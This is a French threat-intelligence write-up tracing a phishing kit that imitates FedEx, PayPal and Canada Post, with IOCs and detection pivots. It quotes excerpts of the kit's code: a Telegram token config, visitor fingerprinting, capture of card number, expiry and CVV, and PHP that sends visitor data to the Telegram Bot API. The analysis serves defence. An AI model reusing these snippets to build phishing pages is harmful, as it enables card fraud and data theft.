Cette note et l’investigation sur laquelle elle se base ont été réalisées par Sinclair M. et Axel K., étudiants en majeure Renseignement et Cybermenaces au sein d’Oteria. L’article est consultable via sinclair-moulager.com et blog.aksnk.com.

Introduction
Le phishing est une technique consistant à tromper une victime en usurpant une source légitime afin de récupérer des informations personnelles, parfois sensibles.
En 2026, il est désormais pertinent de parler d’un écosystème du phishing, notion reprise par exemple par Flare qui évoque « une industrie clandestine mature » composée d’acteurs spécialisés ayant fait passer le phishing d’une « simple technique » à un « service ».
Cette évolution a notamment vu apparaître les kits de phishing : des packages prêts à l’emploi, fournis par des acteurs malveillants, qui proposent tous les services nécessaires pour effectuer du phishing — pages, services, hébergement. Ces kits s’inscrivent aujourd’hui dans une logique de Phishing-as-a-Service (PhaaS), une évolution récente et optimisée de l’industrie du phishing.
C’est dans ce contexte que nous avons débuté une investigation sur un domaine malicieux, identifié grâce à l’usurpation de l’identité visuelle d’une société de colis, qui nous a permis d’illuminer une petite infrastructure de phishing liée notamment à FedEx, PayPal et Canada Post.
Analyse
Starting point
Le point de départ de notre investigation est un domaine ciblant les utilisateurs de FedEx. Un utilisateur non averti peut facilement être trompé par l’apparence particulièrement crédible du site : charte graphique fidèle à la marque, contenu sans fautes apparentes et présence du mot-clé colis dans le nom de domaine.
![Capture du domaine colisrelay-regularisation[.]fr](/images/colisrelay/2_domain.png)
Capture 1 — hxxps://colisrelay-regularisation[.]fr
En revanche, une analyse plus approfondie permet de rapidement mettre en lumière le caractère malicieux du site.
Analyse de la page et de son contenu
Une fois le Captcha résolu, l’utilisateur est dirigé vers une page invitant à renseigner ses informations personnelles, puis ses codes de carte bancaire. Au-delà du modus operandi très classique du kit et de son caractère assez simpliste, ce qui a retenu notre attention réside dans un import d’un script JS depuis GitHub.

Capture 2 — Import d’un script externe via cdn.jsdelivr.net dans une page se faisant passer pour FedEx.
Naturellement, notre attention s’est portée sur cet import illégitime pour un domaine qui se veut imiter une page de FedEx.
Point technique
cdn.jsdelivr.netest un CDN (Content Delivery Network), un groupe de serveurs qui met en cache le contenu à proximité géographique des utilisateurs. Ici, le CDN est utilisé pour déployer du code directement depuis GitHub (documentation jsDelivr).

Capture 3 — Décomposition d’une URL jsDelivr (CDN, source, utilisateur, dépôt, version, fichier).
Le code chargé est en JSFuck, une variante ésotérique du JavaScript permettant d’obfusquer le contenu en n’utilisant qu’un jeu réduit de six caractères ([]()!+).

Capture 4 — Le fichier f.js hébergé sur GitHub, intégralement écrit en JSFuck.
Une fois décodé, le script livre des informations intéressantes sur le comportement du site :
- des fonctions de fingerprinting du navigateur,
- la récupération des données saisies dans le formulaire,
- l’exfiltration des données structurées vers Telegram.
Pivots
L’usage de ce kit de phishing est extrêmement marquant et offre de nombreux pivots aux analystes qui souhaiteraient le traquer.
Le path GitHub
Une recherche sur urlscan.io à partir du filename du loader permet d’identifier 5 autres domaines réutilisant le même chargement.

Capture 5 — urlscan.io retourne plusieurs domaines partageant le même loader.
Deux autres éléments nous permettent par ailleurs de pivoter.
Le compte GitHub et la chaîne YouTube
Le premier est associé au nom d’utilisateur du compte GitHub, qui nous permet de rebondir sur une chaîne YouTube faisant la promotion de plusieurs kits de phishing, avec des liens de téléchargement (mediafire) directement publiés en commentaires.

Capture 6 — Chaîne YouTube présentant des démonstrations de kits (PayPal, FedEx) et redirigeant vers leur téléchargement.
L’usage de Telegram
Le second pivot est lié à l’utilisation de Telegram, déjà identifiée lors de la désobfuscation du script JS chargé d’envoyer la donnée. Le compte cible est également cité par le diffuseur des kits sur YouTube, ce qui renforce l’identification de l’opérateur. Sur le canal Telegram associé, on retrouve la diffusion de plusieurs kits :

Capture 7 — Diffusion du kit FedEx sur Telegram, accompagnée des captures d’écran de la page et d’un lien mediafire.

Capture 8 — Diffusion du kit PayPal, incluant un parcours complet avec page de confirmation.

Capture 9 — Diffusion d’un kit ciblant Canada Post.
Analyse du contenu des kits
L’analyse de ces trois dossiers permet tout d’abord de confirmer la logique de kit : on retrouve des fichiers prêts à l’emploi ainsi qu’un fichier de configuration php.ini.

Capture 10 — Arborescence type d’un kit : pages PHP, ressources statiques (CSS, JS, images), dossier d’envoi et fichier de configuration.
Le config.php est, quant à lui, prêt à être customisé par l’opérateur final, qui n’a qu’à renseigner son token et son chat_id Telegram :
<?php
$captcha_on = true; // <-- change true / false
$Email = 'Your_EMAIL@domain.com';
$api = "your_api_telegram";
$chatid = "your_chat_id_telegram";
?>
L’étude des fichiers permet également de comprendre plus en profondeur le fonctionnement et la finalité des kits, avec notamment des fonctionnalités de collecte d’informations techniques sur le visiteur, à partir du User-Agent :
function getOperatingSystem($userAgent) {
if (preg_match('/Windows NT 10.0/', $userAgent)) {
return 'Windows 10 or Windows 11';
} elseif (preg_match('/Mac OS X ([\d_]+)/', $userAgent, $matches)) {
$version = str_replace('_', '.', $matches[1]);
return "macOS $version";
} elseif (preg_match('/Android ([\d.]+)/', $userAgent, $matches)) {
return "Android " . $matches[1];
} elseif (preg_match('/CPU iPhone OS ([\d_]+)/', $userAgent, $matches)) {
$version = str_replace('_', '.', $matches[1]);
return "iOS $version";
}
// [...]
}
Ces informations sont ensuite transmises avec les informations bancaires récupérées dans le formulaire :
document.getElementById('konzform').addEventListener('submit', function (e) {
const cardNumber = document.getElementById('card_number');
const expiry = document.getElementById('expiry');
const cvv = document.getElementById('cvv');
// [...]
});
On constate par ailleurs, dans le kit PayPal, l’utilisation d’un script p5.js, non référencé sur urlscan.io au moment de l’investigation, chargé via le même CDN :
<script src="https://cdn.jsdelivr.net/gh/[REDACTED]/jsdelivr@latest/p5.js"></script>
Au-delà de l’envoi des informations volées, on identifie également une logique de log des visiteurs, probablement pour permettre à l’opérateur de monitorer la diffusion de sa page de phishing :
// Log the visit
$logFile = fopen("Visit.txt", "a");
fwrite($logFile, $ip . " - Country: " . $COUNTRY . " {$FLAG} - "
. gmdate("Y-n-d") . " @ " . gmdate("H:i:s") . "\n");
fclose($logFile);
// Send Telegram message
$message = "########## PayPal Visit ##########\n"
. "IP: whatismyip.com/ip/" . $ip . "\n"
. "Country: {$COUNTRY} {$FLAG}\n"
. "City: {$CITY}\n"
. "Region: {$REGION}\n"
. "Zip: {$ZIPCODE}\n"
. "Location: {$LOC}\n"
. "Organization: {$ORG}\n"
. "Timezone: {$TIMEZONE}\n";
file_get_contents("https://api.telegram.org/bot{$api}/sendMessage?chat_id={$chatid}&text="
. urlencode($message));
header("Location: ./confirmation");
Résumé du fonctionnement

Capture 11 — Vue d’ensemble : un repo GitHub central, plusieurs scripts JS distincts, branchés sur les domaines imitant FedEx, PayPal et Canada Post.
So what ?
L’emploi de cdn.jsdelivr.net comme loader n’est pas nouveau. Son usage est documenté par plusieurs investigations précédentes. Nous souhaitions néanmoins remettre la lumière dessus car il offre de nombreux avantages aux attaquants :
- Légitimité apparente — un domaine
*.jsdelivr.netne sera quasiment jamais bloqué par les solutions de filtrage d’entreprise, le service étant largement utilisé par des projets légitimes. - Gratuité et disponibilité — le service est gratuit, performant et adossé à GitHub : aucune infrastructure à maintenir côté attaquant.
- Mutabilité du payload — un simple commit sur le repo GitHub suffit à modifier le comportement du kit chez toutes les victimes en aval.
En revanche, ce mode opératoire laisse également plusieurs artefacts exploitables par les défenseurs : la chaîne jsdelivr.net/gh/<user>/<repo> constitue un marqueur très spécifique, le compte GitHub utilisé peut servir de point de pivot, et la réutilisation d’un même identifiant entre GitHub, YouTube et Telegram facilite considérablement le travail de l’analyste.
IOCs
| Type | Valeur | Service ciblé |
|---|---|---|
| Domaine | colisrelay-regularisation[.]fr | FedEx |
| Domaine | fillupinfo[.]vip | FedEx |
| Domaine | lfr.tjb.temporary[.]site | Canada Post |
| Domaine | bikerportalv2.kitzhost[.]com | PayPal |
| Domaine | ppaccount[.]biz | PayPal |
| Domaine | srv241842.hoster-test[.]ru | PayPal |
| CDN abusé | cdn.jsdelivr.net (path /gh/<user>/<repo>) | — |
| Exfiltration | API Telegram (api.telegram.org/bot<token>/sendMessage) | — |
Script p1.js | 123711bf5ac11cbf2773141d45b7cb9d2a374542719b6140211592b5f6a24200 | — |
Script cp1.js | d06f1bb2f7abdb151333a4e360b40c0d79cd31d957b1c30064df266f2a401750 | — |
Script fc.js | 80acce49353be433f065add1a97f9f52b01359c13d0a3ec4fc6991e5dfc04205 | — |
Script f.js | 2feffbe43aebaf84f02fb1c0b38bf4453fd40122fa3c219886847c357157aa2a | — |